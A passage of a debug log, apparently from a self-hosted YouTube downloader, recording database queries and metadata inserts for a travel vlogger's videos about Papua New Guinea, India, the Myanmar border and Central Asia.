x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "74ca2ac0-a6e2-4137-aaa0-ab200276b526", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 00:27:12Z], ~U[2026-08-20 00:27:12Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 17:27:12.599 [debug] QUERY OK source="sources" db=0.1ms idle=76.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:12.600 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:12.600 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18988] 17:27:12.600 [debug] Current batch of media processed. Will check again in 1000ms 17:27:13.601 [debug] Current batch of media processed. Will check again in 1000ms 17:27:14.602 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "duration" => 2973, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", "id" => "W4ZERiu8IMs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=W4ZERiu8IMs", "playlist_index" => 14, "timestamp" => 1769871228, "title" => "They're Lying to You About India...", "upload_date" => "20260131"} 17:27:14.603 [debug] QUERY OK source="sources" db=0.2ms idle=319.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:14.603 [debug] QUERY OK source="sources" db=0.1ms idle=319.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:14.603 [debug] QUERY OK source="media_items" db=0.3ms idle=320.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 17:27:14.605 [debug] QUERY OK source="media_items" db=0.8ms idle=320.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "b02be920-830f-42c9-a335-edcc2fc85eb0", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 00:27:14Z], ~U[2026-08-20 00:27:14Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 17:27:14.605 [debug] QUERY OK source="sources" db=0.1ms idle=80.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:14.605 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:14.606 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18989] 17:27:14.606 [debug] Current batch of media processed. Will check again in 1000ms 17:27:15.607 [debug] Current batch of media processed. Will check again in 1000ms 17:27:16.608 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "duration" => 2343, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", "id" => "bBxtc-Tskto", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=bBxtc-Tskto", "playlist_index" => 15, "timestamp" => 1769098339, "title" => "Overnight on Myanmar's Forbidden Border", "upload_date" => "20260122"} 17:27:16.609 [debug] QUERY OK source="sources" db=0.3ms idle=325.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:16.609 [debug] QUERY OK source="sources" db=0.1ms idle=325.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:16.610 [debug] QUERY OK source="media_items" db=0.3ms idle=326.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 17:27:16.611 [debug] QUERY OK source="media_items" db=0.8ms idle=326.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "72acb69a-3753-46e7-90bf-65f88ef78dc3", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 00:27:16Z], ~U[2026-08-20 00:27:16Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 17:27:16.611 [debug] QUERY OK source="sources" db=0.1ms idle=84.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:16.612 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:16.612 [debug] QUERY OK source="media_items" db=0.2ms idle=2.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18990] 17:27:16.612 [debug] Current batch of media processed. Will check again in 1000ms 17:27:16.907 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:17.613 [debug] Current batch of media processed. Will check again in 1000ms 17:27:18.614 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "duration" => 1857, "filename" => "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", "id" => "oiGyXylltRE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=oiGyXylltRE", "playlist_index" => 16, "timestamp" => 1766162042, "title" => "Inside the Country that Almost Existed", "upload_date" => "20251219"} 17:27:18.615 [debug] QUERY OK source="sources" db=0.2ms idle=331.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 17:27:18.615 [debug] QUERY OK source="sources" db=0.1ms idle=331.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:18.615 [debug] QUERY OK source="media_items" db=0.2ms idle=331.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 17:27:18.617 [debug] QUERY OK source="media_items" db=0.8ms idle=332.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "6b2e6d61-38a4-49f0-aeb4-de817cac945a", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 00:27:18Z], ~U[2026-08-20 00:27:18Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 17:27:18.617 [debug] QUERY OK source="sources" db=0.1ms idle=87.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:18.617 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:18.618 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18991] 17:27:18.618 [debug] Current batch of media processed. Will check again in 1000ms 17:27:19.619 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Once, the Aral Sea was one of the largest lakes on Earth. Today, it’s a dried-up desert filled with abandoned Soviet shipwrecks, rusting on sand where waves used to hit. In this video, I travel to the Aral Sea region to see what’s left, meet people who still live here, and spend the night inside a Soviet shipwreck that hasn’t touched water in decades.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n 